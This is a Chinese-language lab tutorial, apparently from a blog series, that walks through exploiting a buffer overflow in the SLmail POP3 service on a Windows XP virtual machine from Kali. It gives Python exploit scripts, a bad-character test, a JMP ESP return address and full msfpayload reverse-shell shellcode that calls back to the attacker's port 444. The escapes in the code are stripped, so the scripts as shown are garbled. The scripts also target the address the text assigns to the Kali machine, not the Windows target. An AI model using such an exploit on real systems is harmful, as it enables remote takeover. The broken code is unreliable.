实验机器:
Kali虚拟机一台(192.168.163.133)
Windows XP虚拟机一台(192.168.163.130)
如何用Kali虚拟机一步一步“黑掉”这个windowsXP虚拟机呢?
用到的软件:
SLmail程序(存在缓冲区溢出漏洞)
ImmunityDebugger(调试工具)
mona脚本(配合调试工具使用)
这些在准备工作的文章中有百度网盘下载地址
实验目的:
用Kali虚拟机发送脚本,完成对SLmail程序的缓冲区溢出漏洞的利用
从而获取目标windows机器的最高权限
粗俗来说:黑了这个windows机器
缓冲区溢出漏洞的概念以及实验准备:
https://www.cnblogs.com/xuyiqing/p/9835561.html
缓冲区溢出实验(漏洞发现):
https://www.cnblogs.com/xuyiqing/p/9849072.html
接着上篇文章:
上次以及精确定位到EIP在2606位置
那么是否可以修改ESP寄存器呢?
如何确认ESP寄存器的大小呢?
写一个小脚本:
#!/usr/bin/python import socket buffer = 'A' * 2606 + 'B' * 4 + 'C' * (3500 - 2606 - 4) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: print " Sending evil buffer... " s.connect(('192.168.163.133', 110)) data1 = s.recv(1024) s.send('USER test' + ' ') data2 = s.recv(1024) s.send('PASS ' + buffer + ' ') s.close() print ' Done' except: print 'Can not connect to POP3'
OK,隔了一段时间,先确认下有限服务器是否有问题:
没有问题,打开调试工具,attach到SLmail,可以尝试脚本:
看看调试工具:
EIP被精确地塞满B,ESP被塞满C
选中ESP右键Follow in dump:
再右键Hex选择ascii 16bytes格式显示:
观察C地起始位置和结束位置:
就我这里而言:起始地址0212A158,终止地址:0212A2F8
计算:
打开科学计算器,16进制计算,2F8-158,得到结果1A0
转换成10进制是416
思路:
通常使用的shellcode至少需要300字节左右
这里416个字节是足够的
如果我ESP这里上传一个shellcode,通过修改EIP的地址
让程序跳转到ESP寄存器,提取Shellcode代码执行
接下来就可以获取目标机器的最高权限
接下来我们具体实现:
其实思路看似很简单,但是这之中还有一些细节问题必须要解决:
比如:有些字符在缓冲区有特定用途,不可以作为代码使用
就像0x00,终止字符串拷贝操作,0x0D,表示命令输入完毕
而这些字符根据协议和程序不同而不同,这些坏字符是不可以出现在缓冲区的
所以,我们需要先解决这些坏字符:确认哪些字符是坏字符
写一个脚本来确认:
发送0x00-0xff一共256个字符,一个一个地确认
想办法拼凑这些字符:然后发送
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) badchars = ( "x01x02x03x04x05x06x07x08x09x0ax0bx0cx0dx0ex0fx10" "x11x12x13x14x15x16x17x18x19x1ax1bx1cx1dx1ex1fx20" "x21x22x23x24x25x26x27x28x29x2ax2bx2cx2dx2ex2fx30" "x31x32x33x34x35x36x37x38x39x3ax3bx3cx3dx3ex3fx40" "x41x42x43x44x45x46x47x48x49x4ax4bx4cx4dx4ex4fx50" "x51x52x53x54x55x56x57x58x59x5ax5bx5cx5dx5ex5fx60" "x61x62x63x64x65x66x67x68x69x6ax6bx6cx6dx6ex6fx70" "x71x72x73x74x75x76x77x78x79x7ax7bx7cx7dx7ex7fx80" "x81x82x83x84x85x86x87x88x89x8ax8bx8cx8dx8ex8fx90" "x91x92x93x94x95x96x97x98x99x9ax9bx9cx9dx9ex9fxa0" "xa1xa2xa3xa4xa5xa6xa7xa8xa9xaaxabxacxadxaexafxb0" "xb1xb2xb3xb4xb5xb6xb7xb8xb9xbaxbbxbcxbdxbexbfxc0" "xc1xc2xc3xc4xc5xc6xc7xc8xc9xcaxcbxccxcdxcexcfxd0" "xd1xd2xd3xd4xd5xd6xd7xd8xd9xdaxdbxdcxddxdexdfxe0" "xe1xe2xe3xe4xe5xe6xe7xe8xe9xeaxebxecxedxeexefxf0" "xf1xf2xf3xf4xf5xf6xf7xf8xf9xfaxfbxfcxfdxfexffx00") buffer = "A" * 2606 + "B" * 4 + badchars try: print " Sending evil buffer... " s.connect(('192.168.163.133', 110)) data1 = s.recv(1024) s.send('USER test' + ' ') data2 = s.recv(1024) s.send('PASS ' + buffer + ' ') s.close() print ' Done' except: print 'Can not connect to POP3'
OK,我们来试试(如果Slmail服务崩了重启一下):
发送过去看看调试工具:选择ESP右键dump看详细
仔细观察:发现01到09都发送过去了,而0A以后出问题了,缓冲区不能接收0A字符
大胆猜测:0A是个坏字符!
OK,那么我们把脚本里面的0A去掉:
继续执行脚本:(注意重启POP服务)
不错,发现除了去掉的0A,00和0D(0D被过滤掉了),其他的字符全部都出现了
于是可以总结出:缓冲区的字符不能出现0A,0D,00
接下来就可以做数据的重定向:
把EIP四个字节改为ESP的地址,理论上CPU在EIP提取地址读取然后执行
看似很简单,其实还有很多的细节要处理
比如:ESP的地址是变化的,不可以硬编码
因为:Slmail是基于线程的应用程序,操作系统给每个线程分配一个地址范围,每个线程地址范围随机
变通思路:
目标内存地址变动时候,在内存中寻找一个操作系统自带的模块,而且这个模块的地址是固定的
找个一个不变的内存地址,调用系统模块的JMP,ESP指令的地址,再由该指令间接跳转
即:把Slmail的EIP寄存器放入上边说到的这个固定模块的JMP,ESP指令的地址,CPU读取JMP,ESP内存地址,进而跳到shellcode
形象来说:就是某男想要追女神,但不知道她的微信,但某男认识她的闺蜜,这样一来就可以得到女神微信了(可能不合适,大概理解下)
接下来呢?
如何知道哪个系统模块的地址是固定的呢?
这里就需要用到准备工作里面的mona.py脚本(把脚本放在调试工具目录里面)
左下角输入!mona modules查询所有系统模块:
关注rebase这一栏:重启内存地址是否变化,我们必须找false的
ASLR和SafeSEH和NSCompat都是保护内存的项目
因此,我们要找前四项都是false的
OS dll这一列要选true,不同系统都可以利用的
仔细寻找后,发现:OpenC32.dll可以使用
继续使用mona查询下OpenC32.dll里面是否有JMP,ESP指令可以调用:
!mona find -s" " -m module 命令可以查询
注意查询命令不可以直接查JMP ESP
这是汇编指令,而内存中使用的是二进制
这里需要使用Kali系统自带的一个工具:可以将汇编指令转换成二进制
发现转换成二进制是FFE4:
搜索FFE4:
没找到:
一样的方法在下面找找:
只有SLMFC.DLL和MFC42LOC.DLL前四项false,最后一项true
分别试下:
终于找到了!哈哈
而且有19条(由于Slmail不含有很内存保护机制,所以理论上这19个都可以实现利用)
如果有内存保护机制,需要下面这个有R(读)和E(执行)权限的(菜单栏点击m打开内存地图)
19条中随便打开一个,右键dis开头的选项:
找到了:5F4B41E3地址
接下来就可以使用这个地址
可以地址右键memory on access(开启断点)后边测试看
继续,我们针对这个写一个脚本:(注意地址要反过来写)
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buffer = "A" * 2606 + "xe3x41x4bx5f" + "C" * 390 try: print " Sending evil buffer... " s.connect(('192.168.163.133', 110)) data1 = s.recv(1024) s.send('USER test' + ' ') data2 = s.recv(1024) s.send('PASS ' + buffer + ' ') s.close() print ' Done' except: print 'Can not connect to POP3'
测试:正确跳转
接下来就是最后一部了:
把ESP里面这一堆C修改成Shellcode
那么shellcode怎么获取呢?
利用Kali里面现成的shellcode:
msfpayload
具体使用:
我的思路是Kali机器开一个端口,让windows机器自己连过来
这样可以避免被防火墙屏蔽(虽然现在我把防火墙关了)
让目标把shell给我。
指定反向连接的IP和端口,针对win32
这里就生成了一个shellcode
但是这个shellcode不能直接用,因为含有坏字符
所以要去掉坏字符
这里就要用到另一个工具了:Msfencode
把这些shellcode复制出来,继续写一个脚本:
这里加了8个x90是什么意思呢?
汇编语言的x90意思是不操作
这里是为了保障汇编语言运行的有效性(经验之谈,防止异常)
#!/usr/bin/python import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) shellcode = ("x6ax48x59xd9xeexd9x74x24xf4x5bx81x73x13xabx9cx6d" + "xf8x83xebxfcxe2xf4x57xf6x86xb5x43x65x92x07x54xfc" + "xe6x94x8fxb8xe6xbdx97x17x11xfdxd3x9dx82x73xe4x84" + "xe6xa7x8bx9dx86xb1x20xa8xe6xf9x45xadxadx61x07x18" + "xadx8cxacx5dxa7xf5xaax5ex86x0cx90xc8x49xd0xdex79" + "xe6xa7x8fx9dx86x9ex20x90x26x73xf4x80x6cx13xa8xb0" + "xe6x71xc7xb8x71x99x68xadxb6x9cx20xdfx5dx73xebx90" + "xe6x88xb7x31xe6xb8xa3xc2x05x76xe5x92x81xa8x54x4a" + "x0bxabxcdxf4x5excaxc3xebx1excaxf4xc8x92x28xc3x57" + "x80x04x90xccx92x2exf4x15x88x9ex2ax71x65xfaxfexf6" + "x6fx07x7bxf4xb4xf1x5ex31x3ax07x7dxcfx3exabxf8xdf" + "x3exbbxf8x63xbdx90x6bx34xcex7cxcdxf4x6cx44xcdxcf" + "xe4x19x3exf4x81x01x01xfcx3ax07x7dxf6x7dxa9xfex63" + "xbdx9exc1xf8x0bx90xc8xf1x07xa8xf2xb5xa1x71x4cxf6" + "x29x71x49xadxadx0bx01x09xe4x05x55xdex40x06xe9xb0" + "xe0x82x93x37xc6x53xc3xeex93x4bxbdx63x18xd0x54x4a" + "x36xafxf9xcdx3cxa9xc1x9dx3cxa9xfexcdx92x28xc3x31" + "xb4xfdx65xcfx92x2exc1x63x92xcfx54x4cx05x1fxd2x5a" + "x14x07xdex98x92x2ex54xebx91x07x7bxf4x9dx72xafxc3" + "x3ex07x7dx63xbdxf8") buffer = "A" * 2606 + "xe3x41x4bx5f" + "x90" * 8 + shellcode try: print " Sending evil buffer... " s.connect(('192.168.163.133', 110)) data1 = s.recv(1024) s.send('USER test' + ' ') data2 = s.recv(1024) s.send('PASS ' + buffer + ' ') s.close() print ' Done' except: print 'Can not connect to POP3'
发送过去!
理想情况:如果脚本执行成功,会反弹回连444端口
所以我先侦听kali的444端口:
成功!我们可以操作windows系统了!
OK!拿下了windowsxp系统(乱码小问题,不用在意)
成功黑掉了windowsxp机器,哈哈哈